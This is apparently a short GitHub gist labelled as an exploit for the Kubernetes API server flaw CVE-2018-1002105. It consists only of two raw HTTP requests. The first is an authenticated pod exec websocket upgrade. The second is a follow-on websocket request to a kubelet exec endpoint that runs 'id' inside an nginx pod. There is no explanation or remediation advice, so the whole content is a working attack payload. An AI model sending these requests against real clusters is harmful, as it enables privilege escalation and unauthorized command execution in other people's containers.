Skip to content

Instantly share code, notes, and snippets.

@abhisek

abhisek/gist:3ef7f1e208d46771cb79b6440028b787

Created December 7, 2018 18:14
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abhisek/3ef7f1e208d46771cb79b6440028b787 to your computer and use it in GitHub Desktop.
Save abhisek/3ef7f1e208d46771cb79b6440028b787 to your computer and use it in GitHub Desktop.
Download ZIP
Kubernetes Exploit CVE-2018–1002105
Raw
gistfile1.txt
GET /api/v1/namespaces/mynamespace/pods/cool-79b76569d9-wxsvs/exec HTTP/1.1
Authorization: Bearer $TOKEN
Host: 192.168.12.10:6443
Connection: upgrade
Upgrade: websocket
Raw
gistfile2.txt
GET /exec/default/nginx-5dbb4c75cd-lvlgf/nginx?command=id&input=0&output=1&tty=0 HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: 192.168.12.10:6443
Origin: https://192.168.12.10:6443
Sec-WebSocket-Key: $TOKEN
Sec-WebSocket-Version: 13
sec-websocket-protocol: v4.channel.k8s.io
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment